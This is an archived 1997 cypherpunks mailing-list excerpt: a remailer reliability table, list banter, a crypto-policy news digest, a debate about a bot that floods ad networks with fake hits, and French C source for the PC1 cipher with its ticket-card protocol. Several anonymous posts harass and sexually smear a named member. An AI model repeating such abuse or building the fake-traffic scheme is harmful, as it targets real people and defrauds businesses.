$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = "<remailer@wazoo.com> cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = "<remailer@lycaeum.org> cpunk pgp hash latent cut ek";
$remailer{"hidden"} = "<remailer@hidden.net> cpunk pgp hash latent cut";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 21 Apr 97 6:48:37 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
nym      config@nym.alias.net             ##*-*++#**##    19:37 100.00%
winsock  winsock@rigel.cyberpass.net      +----..-.---  5:54:16  99.99%
hidden   remailer@hidden.net              *#*##*#+####     7:26  99.98%
balls    remailer@huge.cajones.com        ##*#########     1:07  99.97%
weasel   config@weasel.owl.de             -+-+-----+-   2:16:35  99.94%
reno     middleman@cyberpass.net          *+-*-++**-*+  2:29:17  99.94%
lucifer  lucifer@dhp.com                  *--++++++++*    33:45  99.93%
mix      mixmaster@remail.obscura.com     +*-+-++-+.-+  6:04:42  99.89%
squirrel mix@squirrel.owl.de              -+-+-----++   2:13:15  99.82%
cyber    alias@alias.cyberpass.net        *++*+++ +++*    32:24  99.70%
replay   remailer@replay.com              ** +*** * **    14:29  99.43%
extropia remail@miron.vip.best.com        ..-..-_.-    20:55:08  93.49%
exon     remailer@remailer.nl.com          * ##     ##  1:06:10  91.25%
dustbin  dustman@athensnet.com            +-+--._-      2:47:22  60.26%
jam      remailer@cypherpunks.ca                    **     8:35  56.18%
shaman   remailer@lycaeum.org             --+*+++         21:34  44.82%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 21 Apr 1997 06:38:40 -0700 (PDT)
To: Rabid Wombat <wombat@mcfeely.bsfs.org>
Subject: Re: My Thread / Was--Re: Light Bulbs & newsgroups
In-Reply-To: <Pine.BSF.3.91.970421075655.992H-100000@mcfeely.bsfs.org>
Message-ID: <335B6BAB.1327@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Rabid Wombat wrote:

> Um, did I miss somethin', or are we arguing about light-bulb jokes?

rw,
  It's been a slow week. (Maybe someone ought to start an abortion
thread.)
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Mon, 21 Apr 1997 06:11:51 -0700 (PDT)
To: Carl Johnson <toto@sk.sympatico.ca>
Subject: Re: My Thread / Was--Re: Light Bulbs & newsgroups
In-Reply-To: <335835C6.7CFC@sk.sympatico.ca>
Message-ID: <Pine.BSF.3.91.970421075655.992H-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain




On Fri, 18 Apr 1997, Carl Johnson wrote:

> Timothy C. May wrote:
> > At 5:55 PM -0800 4/18/97, Igor Chudov @ home wrote:
> > >Timothy C. May wrote:
> > >> ....and at least 1 to say that you gave no credit for this. Did you write
> > >> it yourself? If so, congratulations, as it was pretty good. If you did not,
> > >> you left out any mention of the author, or at least where you found it.
> 
> > >it was not me. When i got it, it had no attribution on it also.
>  
> > Then it's best to say so. "Anonymous" or "No attribution" is preferable to
> > simple forwarding.
> 
>   When the post arrives with three or four sets of '> >>' (<--whatever
> the
> fuck these things are called), then even those of us who lost the better
> part of our brains in the Drug War are able to figure out that it is a
> forwarded-forwarded-forwarded post.
>   I think Tim is fighting old wars in his head. (Find your shoes, yet,
> Tim?)
> 
> > --Tim May, who's had his own stuff forwarded without credit, and recalls
> > when one of Perry Metzger's pieces arrived back on the list, sans credit.
> 
>   I can sympathize with Tim, here. People who plagarize the works of 
> others, or who steal credit for other's ideas, are the scum of the
> earth.
> 

Um, did I miss somethin', or are we arguing about light-bulb jokes?

-r.w.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 21 Apr 1997 05:48:07 -0700 (PDT)
To: cypherpunks@toad.com
Subject: EUR_gov
Message-ID: <1.5.4.32.19970421124634.0089620c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


     21 April 1997:

     US Govt Licenses First European Encryption Firm

     London: The US Department of Commerce has awarded the
     euro-encryption rights to Internet Smartware, a UK company.
     According to Internet Smartware, the agreement overcomes
     two major stumbling blocks which have prevented businesses
     from using the Internet for commercial use: 

     Firstly, European companies can now implement US
     developed 56-bit DES (data encryption standard) encryption
     technology, which the company claims is the accepted
     minimum requirement for Internet commerce, and beyond. 

     Secondly, companies will no longer have to give authorities
     such as the US government free access to their encrypted
     data. 

     Internet Smartware claims that the agreement also provides
     UK companies with an effective alternative to the recent,
     unpopular DTI (Department of Trade and Industry)
     encryption proposals, which recommend that companies
     must give "trusted third parties" access to encrypted data. 

----------

     "Smart" Cash Cards Pose Law Enforcement Challenges 

     Washington: "Smart cards" that store electronic currency 
     have the potential to revolutionize commerce, but the emerging 
     technology poses challenges for the law enforcement community, 
     government officials said Friday. 

     "The same electronic commerce technology that will save
     time and money is also capable of being abused," said Peter
     Toren, senior attorney in the U.S. Justice Department's
     computer fraud division. Toren, speaking at a conference at 
     American University's law school here, warned that the cards 
     offer the "threat of the perfect counterfeit" because any criminal 
     that can copy them "can create an unending stream of money." 

----------

     IISP Panel Addresses Cyberspace Payments

     New York -- Developing secure, cost effective and efficient 
     electronic payment systems is critical to creating a truly 
     global commercial marketplace, and efforts are already underway 
     to address the technology, business, regulatory and legal 
     aspects of cyberspace payments, according to speakers at a 
     March 25-26 panel sponsored by ANSI's Information 
     Infrastructure Standards Panel (IISP). 

     "Micro-payments, anonymous cash, `Smart Cards,' digital
     cash, electronic purses, and `e-cash' all describe different
     approaches to achieving a secure payments solution," said
     ANSI board Member Oliver Smoot. "As these new payments 
     evolve, standards to facilitate interconnection and interoperability 
     are critical." 

     Thomas J. Firnhaber, Policy Adviser at FinCEN, focused on 
     the potential impact of cyberpayments on regulatory and law 
     enforcement and provided an overview of the U.S. Department 
     of Treasury's Cyberpayments efforts to date. "The anonymity, 
     rapidity, volume and audit difficulty of cyberpayments has 
     challenged traditional investigative techniques," he said.

----------

     Smart Cards The Next Wave - Report 

     London: Frost & Sullivan (F&S) has announced the 
     publication of a smart card report that predicts the arrival 
     of multi-function smart cards is almost upon us. 

     "Electronic Access Control" predicts that it will soon be possible 
     for a smart card to carry out credit and debit card transactions, as 
     well as holding details of your medical records, your frequent flyer
     mileage, your social security number, your address. 

     According to F&S, a threat to this technological advance may
     be the consumer concern for the loss of privacy and a
     potential Big Brother scenario. Who, the company asks, gets
     to access the information is an issue on the minds of the
     consumer?

----------

EUR_gov

or

http://jya.com/eurgov.txt





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Mon, 21 Apr 1997 08:14:13 -0700 (PDT)
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: [ADMINISTRATIVIUM] Accounts payable
In-Reply-To: <199704211127.EAA29286@fat.doobie.com>
Message-ID: <Pine.A41.3.95.970421091315.96714C-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


I think Vulis needs each of us to send ten copies of this back to him.

On Mon, 21 Apr 1997, Huge Cajones Remailer wrote:

> Timmy May is a licenced sexual pervert who wears women's 
> underwear.
> 
>  .   ___ o Timmy May
>  ^z\/o\ o
>  ^z/\_~_/
>  '   '
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: camcc@abraxis.com
Date: Mon, 21 Apr 1997 09:17:59 -0700 (PDT)
Subject: No Subject
Message-ID: <3.0.1.32.19970421121555.007cf710@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


0
X-Sender: camcc@smtp1.abraxis.com
X-Mailer: Windows Eudora Pro Version 3.0.1 (32)
Date: Mon, 21 Apr 1997 12:15:55 -0400
To: Cypherpunks <cypherpunks@toad.com>
From: Alec <camcc@abraxis.com>
Subject: Re: Missing Jet
Cc: Jordan <jordan@macandco.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"

>Subject: Re: Missing Jet
>Date: Mon, 21 Apr 97 11:59:16 -0400
>x-sender: jordan1@macandco.com
>From: Jordan <jordan@macandco.com>
>To: "Alec" <camcc@abraxis.com>

>Check this out:
>
http://cnn.com/US/9704/20/plane.found/index.html
>
>The USAF probably went to a junkyard and dumped srap metal on the ground.
>
>- Jordan

Where do folks get such wild ideas?

Alec





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Mon, 21 Apr 1997 10:32:54 -0700 (PDT)
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: My Thread / Was--Re: Light Bulbs & newsgroups
In-Reply-To: <199704200550.BAA06124@dhp.com>
Message-ID: <Pine.BSF.3.91.970421121750.1432H-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain




On Sun, 20 Apr 1997, lucifer Anonymous Remailer wrote:

> Huge Cajones Remailer wrote:
> > List members,
> > 
> > Shut the hell up already; I wrote it, and it's OK for anyone to repost it.
> > 
> > Just attribute it to me.
> > 
> > Anonymous
> 
>   Sounds to me like Anonymous is trying to take credit for Nobody's
> creation.
> 
> Nobody (#2)
> 
> 

Surely you jest; Sombody obviously wrote it ...




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Mon, 21 Apr 1997 13:25:50 -0700 (PDT)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199704211930.MAA16496@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy May is just a poor excuse for an unschooled, retarded thug.

       0
     //\/ Timmy May
    \/\
  ... /





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Deters <jad@dsddhc.com>
Date: Mon, 21 Apr 1997 11:32:06 -0700 (PDT)
To: Adam Shostack <adam@homeport.org>
Subject: Re: SSL weakness affecting links from pa
In-Reply-To: <199704192038.NAA19881@kirk.edmweb.com>
Message-ID: <3.0.1.32.19970421133153.02551970@labg30>
MIME-Version: 1.0
Content-Type: text/plain


At 03:32 PM 4/20/97 -0500, Adam Shostack wrote:
>	Thats true, but can they avoid it?  I'm considering writing a
>database pollution bot, which runs around, claiming to be Mozilla or
>IE, and randomly following a link once per minute.  Why?  Database
>pollution.  If there are a few thousand of these randomly collecing
>links and creating arbitrary (or perhaps biased) viewing habbits in
>the databases of the advertisers, then their individual data becomes
>worth less.  They'll need to actively solicit peoples permission to
>collect data before doing so, to avoid people polluting their
>databases.
>
>	Similarly, putting a randomly generated email address in those
>sign up fields produces pollution in the data used by spammers, which
>costs them (and no one else) money.  If you run your own site, you can
>even bit bucket the email, trading their bandwidth for yours, and
>making them think they're delivering more junk email than they are.

You are forgetting to separate the marketers from the businesses being
marketed here.  While they're occasionally one and the same (see Cantor &
Siegel), in today's world, the marketing is being handled by a third party
(doubleclick).

These marketers get paid by hit-count ratings:  if they deliver the message
to 1,000 browsers, they get some amount, say $15.00.  If they deliver it to
100,000 browsers, they get $1500.00.  They're not paid by the number of
respondents, referred sales, or even valid e-mail addresses snarfed.  So,
you'd only be artifically inflating the cost of the marketers to the
advertisers.

Here, your hope is that the advertisers notice a diminishing ROI for
marketing costs, but that's a big hope.  The numbers for a small site might
look something like this:

January -  20,000 hits, 50 sales
February - 22,000 hits, 60 sales
March    - 25,000 hits, 70 sales
April    - 50,000 hits, 90 sales  <-- pollutionbot strikes 20,000 times

So, you've watered it down a bit.  To make the pollutionbot truly
effective, you'd have to hit a site by at least 10x the general population
strikes:

May      - 440,000 hits, 100 respondents <- pollutionbot strikes 400,000 times

In the meantime, they're billing the business:
Month        Hits   Sales  Billing    Cost/sale  Pollutionbot hits/inflation
January  -  20,000   50     $300        $6.00            0     $0
February -  22,000   60     $330        $5.50            0     $0
March    -  25,000   70     $375        $5.36            0     $0
April    -  50,000   90     $750        $8.33       20,000   $300
May      - 440,000  100    $6600       $66.00      400,000  $6000

Hopefully, the advertisers will pull out at this point.  It's easy to see
that something "bad" is happening, and that they're not getting the bang
for the buck that they need.  However, with some megasites (where they
reportedly get 2,000,000+ hits per day) subscribing to doubleclick.com,
it's doubtful you could make a noticable dent unless you started your
attack from a T3 connected backbone site.  And even then, are you sure you
want to spend your resources this way?

The marketers will also try to keep this sham up by saying to the
businesses, "It's the Internet, who the hell knows?  Keep going another
month, it'll get better.  In the meantime, just pay your bills."

Even if you were successful at flooding doubleclick, many of their
advertisers are Big:  IBM, Micro$oft, HP, etc.  They don't even care about
direct responses, they're just after name recognition.

Ultimately, it'll reduce the ability of Mom & Pop (or Cantor & Siegel) to
advertise on the same playing field as Micro$oft.  Doubleclick won't go
broke; neither will Micro$oft.  The only good hope you may have is of
breaking a "mom & pop" version of doubleclick, and keeping the world less
polluted.  But, doubleclick will still be around and be able to move in and
fill the void.  What have you gained then?

John
--
J. Deters "Don't think of Windows programs as spaghetti code.  Think
          of them as 'Long sticky pasta objects in OLE sauce'."
+--------------------------------------------------------------------+
| NET:   mailto:jad@dsddhc.com (work)   mailto:jad@pclink.com (home) |
| PSTN:  1 612 375 3116 (work)          1 612 894 8507 (home)        |
| ICBM:  44^58'36"N by 93^16'27"W Elev. ~=290m (work)                |
| For my public key, send mail with the exact subject line of:       |
| Subject: get pgp key                                               |
+--------------------------------------------------------------------+




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "alex" <alexandermail@hotmail.com>
Date: Mon, 21 Apr 1997 05:36:19 -0700 (PDT)
To: <cypherpunks@toad.com>
Subject: description of the PC1 cipher - please comment
Message-ID: <12401499302290@bplorraine.fr>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Voici l'algorithme de codage PC1 ( Pukall Cipher 1 ). C'est un algorithme
de chiffrement en continu ( chaque octet est chiffre separement ) en mode
CFB ( chaque octet chiffre modifie le codage des suivants ). Il a ete cree
en 1991 par Alexandre Pukall. L'algorithme est sous copyright mais en
diffusion freeware. L'utilisation de l'algorithme PC1 et du protocole qui
suivra est libre comme les modifications eventuelles a la condition unique
que le nom de l'auteur soit mentionne dans la documentations et dans le
logiciel qui pourrait se servir de l'algorithme.

Il est preferable, si la cle utilisee avec l'algorithme PC1 est entree par
l'utilisateur, de recommander a ce dernier d'utiliser des cles hachees.

Il choisit une phrase facile a retenir :

Rene et moi sommes alles a la peche samedi !

et il prend la premiere lettre de chaque mot :

Remsaalps! : ceci est la cle qu'il utilise ( l'algorithme PC1 accepte tous
les caracteres ASCII et les caracteres EBCDIC de valeur 0 a 255 ).

A noter que les variables utilisees dans l'algorithme, sont globales afin
de permettre un brassage entre les differents appels de la fonction code()
dans la fonction principale assemble ().

Le type 'unsigned int' est une variable sur 16 bits ( valeur de 0 a 65535
).
Le type 'unsigned char' est une variable sur 8 bits ( valeur de 0 a 255 ).
Le type 'short' est une variable sur 8 bits ( valeur de 0 a 255 ).

****************************************************************************
****************************************************************************
****************************************************************************
************************

/* Fichier PC1COD.c */
/* ecrit en Borland Turbo C 2.0 sur PC */
/* Algorithme de CODAGE PC1 ( Pukall Cipher 1 ) */
/* (c) Alexandre PUKALL 1991 */
/* Utilisation et modifications libres si le nom de l'auteur est */
/* inclu dans le programme final et la documentation du logiciel */
/* dans un endroit accessible librement par l'utilisateur comme */
/* les fenetres A propos des logiciels sous Windows sur PC */
/* Cet algorithme a ete ecrit en Assembleur 6809 Motorola */
/* le code C ci-dessous est la traduction rapide de cet algorithme */
/* le fonctionnement est identique */

/* A noter que dans cet exemple le programme de codage et le programme */
/* de decodage sont separes */
/* vous pouvez les reunir en un seul en modifiant la zone K */
/* qui est legerement differente pour le codage et le decodage */
/* a cause du lien entre le texte clair et la cle de chiffrement */


#include <stdio.h>
#include <string.h>
unsigned int ax,bx,cx,dx,si,tmp,x1a2,x1a0[5],res,i,inter,cfc,cfd,compte;
unsigned char cle[11]; /* les variables sont definies de facon globale */
short c;
FILE *in,*out;

fin()
{
/* on quitte en effacant toutes les variables utilisees par l'algorithme */

for (compte=0;compte<=9;compte++)
 {
  cle[compte]=0;
 }
ax=0;
bx=0;
cx=0;
dx=0;
si=0;
tmp=0;
x1a2=0;
x1a0[0]=0;
x1a0[1]=0;
x1a0[2]=0;
x1a0[3]=0;
x1a0[4]=0;
res=0;
i=0;
inter=0;
cfc=0;
cfd=0;
compte=0;
c=0;

exit(0);
}
assemble()
{

   x1a0[0]= ( cle[0]*256 )+ cle[1];
   code();
   inter=res;

   x1a0[1]= x1a0[0] ^ ( (cle[2]*256) + cle[3] );
   code();
   inter=inter^res;

   x1a0[2]= x1a0[1] ^ ( (cle[4]*256) + cle[5] );
   code();
   inter=inter^res;

   x1a0[3]= x1a0[2] ^ ( (cle[6]*256) + cle[7] );
   code();
   inter=inter^res;

   x1a0[4]= x1a0[3] ^ ( (cle[8]*256) + cle[9] );;
   code();
   inter=inter^res;
   i=0;
}

code()
{
   dx=x1a2+i;
   ax=x1a0[i];
   cx=0x015a;
   bx=0x4e35;

   tmp=ax;
   ax=si;
   si=tmp;

   tmp=ax;
   ax=dx;
   dx=tmp;

   if (ax!=0)
    {
      ax=ax*bx;
    }

   tmp=ax;
   ax=cx;
   cx=tmp;

   if (ax!=0)
    {
      ax=ax*si;
      cx=ax+cx;
    }

   tmp=ax;
   ax=si;
   si=tmp;
   ax=ax*bx;
   dx=cx+dx;

   ax=ax+1;

   x1a2=dx;
   x1a0[i]=ax;

   res=ax^dx;
   i=i+1;
 }
 main()
 {
   si=0;
   x1a2=0;
   i=0;


   /* C'est le cle ci-dessous ('Remsaalps!') que vous pouvez changer */

   strcpy(cle,"Remsaalps!"); /* copie les 10 caracteres de la cle dans cle
*/

   /* ouverture du fichier ESSAI.TXT qui sera code */
   /* ceci n'existe pas dans l'algorithme original ou tout se passe en RAM
*/
   /* il doit exister un fichier ESSAI.TXT dans le repertoire courant ! */
   /* a vous de le creer ! */

   if ((in=fopen("essai.txt","rb")) == NULL) {printf("\nErreur lecture
fichier ESSAI.TXT !\n");fin();}
   if ((out=fopen("sortie.txt","wb")) == NULL) {printf("\nErreur d'ecriture
fichier SORTIE.TXT !\n");fin();}
   /* le fichier code se trouve dans SORTIE.TXT */

     while ( (c=fgetc(in)) != EOF)  /* la variable c recoit l'octet lu dans
le fichier */
      {
	 assemble(); /* execute la routine de codage */
	 cfc=inter>>8;
	 cfd=inter&255;  /* cfc^cfd = octet aleatoire */

	 /* ZONE K !!!!!!!!!!!!! */
	 /* ici le melange de c ( octet clair ) avec cle[compte] se situe */
	 /* avant le codage de c */

	 for (compte=0;compte<=9;compte++)
	 {
	   /* on melange l'octet clair lu dans le fichier */
	   /* a la cle utilisee pour le codage */

	   cle[compte]=cle[compte]^c;
	 }

	 c = c ^ (cfc^cfd);
	 fputc(c,out); /* ecriture de l'octet code dans le fichier SORTIE.TXT */
      }
      fclose (in);
      fclose (out);
      fin();
   }


****************************************************************************
****************************************************************************
****************************************************************************
************************



****************************************************************************
****************************************************************************
****************************************************************************
************************



/* Fichier PC1DEC.c */
/* ecrit en Borland Turbo C 2.0 sur PC */
/* Algorithme de DECODAGE PC1 ( Pukall Cipher 1 ) */
/* (c) Alexandre PUKALL 1991 */
/* Utilisation et modifications libres si le nom de l'auteur est */
/* inclu dans le programme final et la documentation du logiciel */
/* dans un endroit accessible librement par l'utilisateur comme */
/* les fenetres A propos des logiciels sous Windows sur PC */
/* Cet algorithme a ete ecrit en Assembleur 6809 Motorola */
/* le code C ci-dessous est la traduction rapide de cet algorithme */
/* le fonctionnement est identique */

/* A noter que dans cet exemple le programme de codage et le programme */
/* de decodage sont separes */
/* vous pouvez les reunir en un seul en modifiant la zone K */
/* qui est legerement differente pour le codage et le decodage */
/* a cause du lien entre le texte clair et la cle de chiffrement */


#include <stdio.h>
#include <string.h>
unsigned int ax,bx,cx,dx,si,tmp,x1a2,x1a0[5],res,i,inter,cfc,cfd,compte;
unsigned char cle[11]; /* les variables sont definies de facon globale */
short c;
FILE *in,*out;

fin()
{
/* on quitte en effacant toutes les variables utilisees par l'algorithme */

for (compte=0;compte<=9;compte++)
 {
  cle[compte]=0;
 }
ax=0;
bx=0;
cx=0;
dx=0;
si=0;
tmp=0;
x1a2=0;
x1a0[0]=0;
x1a0[1]=0;
x1a0[2]=0;
x1a0[3]=0;
x1a0[4]=0;
res=0;
i=0;
inter=0;
cfc=0;
cfd=0;
compte=0;
c=0;

exit(0);
}
assemble()
{

   x1a0[0]= ( cle[0]*256 )+ cle[1];
   code();
   inter=res;

   x1a0[1]= x1a0[0] ^ ( (cle[2]*256) + cle[3] );
   code();
   inter=inter^res;

   x1a0[2]= x1a0[1] ^ ( (cle[4]*256) + cle[5] );
   code();
   inter=inter^res;

   x1a0[3]= x1a0[2] ^ ( (cle[6]*256) + cle[7] );
   code();
   inter=inter^res;

   x1a0[4]= x1a0[3] ^ ( (cle[8]*256) + cle[9] );;
   code();
   inter=inter^res;
   i=0;
}

code()
{
   dx=x1a2+i;
   ax=x1a0[i];
   cx=0x015a;
   bx=0x4e35;

   tmp=ax;
   ax=si;
   si=tmp;

   tmp=ax;
   ax=dx;
   dx=tmp;

   if (ax!=0)
    {
      ax=ax*bx;
    }

   tmp=ax;
   ax=cx;
   cx=tmp;

   if (ax!=0)
    {
      ax=ax*si;
      cx=ax+cx;
    }

   tmp=ax;
   ax=si;
   si=tmp;
   ax=ax*bx;
   dx=cx+dx;

   ax=ax+1;

   x1a2=dx;
   x1a0[i]=ax;

   res=ax^dx;
   i=i+1;
 }
 main()
 {
   si=0;
   x1a2=0;
   i=0;


   /* C'est le cle ci-dessous ('Remsaalps!') que vous pouvez changer */

   strcpy(cle,"Remsaalps!"); /* copie les 10 caracteres de la cle dans cle
*/

   /* ouverture du fichier SORTIE.TXT qui sera decode */
   /* ceci n'existe pas dans l'algorithme original ou tout se passe en RAM
*/
   /* il doit exister un fichier SORTIE.TXT dans le repertoire courant ! */
   /* c'est le fichier code par l'algorithme PC1COD.c */

   if ((in=fopen("sortie.txt","rb")) == NULL) {printf("\nErreur lecture
fichier SORTIE.TXT !\n");fin();}
   if ((out=fopen("essai.txt","wb")) == NULL) {printf("\nErreur d'ecriture
fichier ESSAI.TXT !\n");fin();}
   /* le fichier decode se trouve dans ESSAI.TXT */

     while ( (c=fgetc(in)) != EOF)  /* la variable c recoit l'octet lu dans
le fichier */
      {
	 assemble(); /* execute la routine de codage */
	 cfc=inter>>8;
	 cfd=inter&255;  /* cfc^cfd = octet aleatoire */

	 /* ZONE K !!!!!!!!!!!!!! */
	 /* ici le melange de c ( octet clair ) se situe apres le */
	 /* melange avec cle[compte] car il faut decoder d'abord */
	 /* l'octet chiffre */

	 c = c ^ (cfc^cfd);

	 for (compte=0;compte<=9;compte++)
	 {
	   /* on melange l'octet clair lu dans le fichier */
	   /* a la cle utilisee pour le codage */

	   cle[compte]=cle[compte]^c;
	 }

	 fputc(c,out); /* ecriture de l'octet decode dans le fichier ESSAI.TXT */
      }
      fclose (in);
      fclose (out);
      fin();
   }



****************************************************************************
****************************************************************************
****************************************************************************
************************






Cet algorithme a ete cree en 1991 pour coder les informations contenues sur
une carte magnetique permettant de payer des places de cinema dans un
complexe Multivision ( Cinema avec au moins 20 salles en son digital et
ecran geant ). Il est toujours en activite.
Les places peuvent etre achetees en guichets ou avec ces cartes. Les cartes
doivent etre achetees auparavant et contiennent 10 places.
Grace a cette carte les places sont achetees tres rapidement sans faire la
queue, sur des bornes interactives avec ecran tactile ( 5 bornes sont
disponibles ). Le processeur utilise est un 6809 ( processeur 8 bits ) de
chez Motorola a 1 MHZ. La RAM est de 64 Ko et contient principalement les
titres, les heures ... des films du jour. Elle est mise a jour a distance
grace a une interface serie reliee a un serveur PC. Le PC indique egalement
en temps reel a la RAM si une salle est complete et le logiciel bascule sur
une autre salle si le film est joue dans plusieurs salle ou empeche la
delivrance des billets. Les billets sont imprimes sur du papier pre-imprime
grace a une imprimante matricielle et les billets tombent dans un petit bac
ou le client les recupere.
Le programme est ecrit en Assembleur 6809 et est stocke dans une puce ROM
de 16 Ko ( ceci comprend le programme de saisie ecran, d'impression, de
gestion de la carte, le programme de codage ... )

Le protocole utilise pour coder les informations sur la carte magnetique
nomme PP003 ( Protocole Pukall 003 ), est le suivant :

La carte est valable 1 an tant qu'elle n'est pas utilisee, mais cette
validite tombe a 6 mois apres la premiere utilisation.

Le contenu de la carte est le suivant :


- - Date de delivrance de la carte ( en clair : c'est a dire non crypte ) (
format jj/mm/aa sur 3 octets ) : Champ 1
- - Date de premiere utilisation de la carte ( en clair ) ( format jj/mm/aa
sur 3 octets, tous a 0 si la carte n'est pas encore utilisee ) : Champ 2
- - Date de derniere utilisation de la carte ( en clair ) ( format jj/mm/aa
sur 3 octets, tous a 0 si la carte n'est pas encore utilisee ) : Champ 3
- - Cle aleatoire sur 10 octets codee par la cle maitre du systeme qui
change chaque semaine. : Champ 4
- - 3 octets aleatoire codes : Champ 5
- - 1 octet code qui contient le reste des places ( entre 0 et 10 ) : Champ
6
- - 3 octets aleatoire codes : Champ 7
- - 7 octets codes qui contiennent le numero de la carte ( il est unique ).
Chaque octet ne contient qu'un chiffre de 0 a 9. Les 7 octets permettent
donc des numeros de carte jusqu'a 9999999. : Champ 8
- - 2 octets codes qui contiennent la somme de tous les octets ci-dessus
avant cryptage. : Champ 9


Lors de l'achat de la carte les champs 4,5,7 sont initialises avec des
octets aleatoires.
Pour creer ces octets aleatoires le systeme fait appel a chaque fois que le
client appuye sur l'ecran tactile ( dans la limite de 8 fois ) a la lecture
du port synchronisation ecran qui retourne sur 2 octets, l'endroit ou se
trouve le faisceau de balayage de l'ecran ce qui donne des octets
totalement aleatoires ( 8*2 octets = 16 octets aleatoires ). ( Le client
est oblige d'appuyer au moins 8 fois sur l'ecran du debut a la fin de la
transaction d'obtention des billets ). Attention, les 2 octets retournes ne
sont pas les coordonnees du point ou le doigt appuye sur l'ecran. Ces
coordonnees sot calculees a l'aide d'une fine matrice electro-magnetique
transparente collee sur l'ecran. Ces 2 octets correspondent a l'endroit
precis ou se trouve le faisceau d'electron qui balaye le tube cathodique (
50 fois par seconde ). Ce faisceau peut tres bien etre a l'oppose du point
appuye sur l'ecran par le client. Ceci pour dire que ces 2 octets sont
vraiment aleatoires.


Le champ 4 ainsi initialise, est la cle de l'utilisateur.
Cette cle est codee par l'algorithme PC1 par une cle maitre que seul le
systeme connait ( cette cle change chaque semaine et elle est identique
pour toutes les cartes pendant cette semaine )

Les champs 5,6,7,8 et 9 sont codes par l'algorithme PC1 par la cle de
l'utilisateur.

Le champ 9 avant d'etre code est la somme de tous les octets precedents (
avant codage pour les champs qui sont codes ). Ce champ permet, lors du
decodage, de verifier qu'aucun champ precedent n'a ete change ).


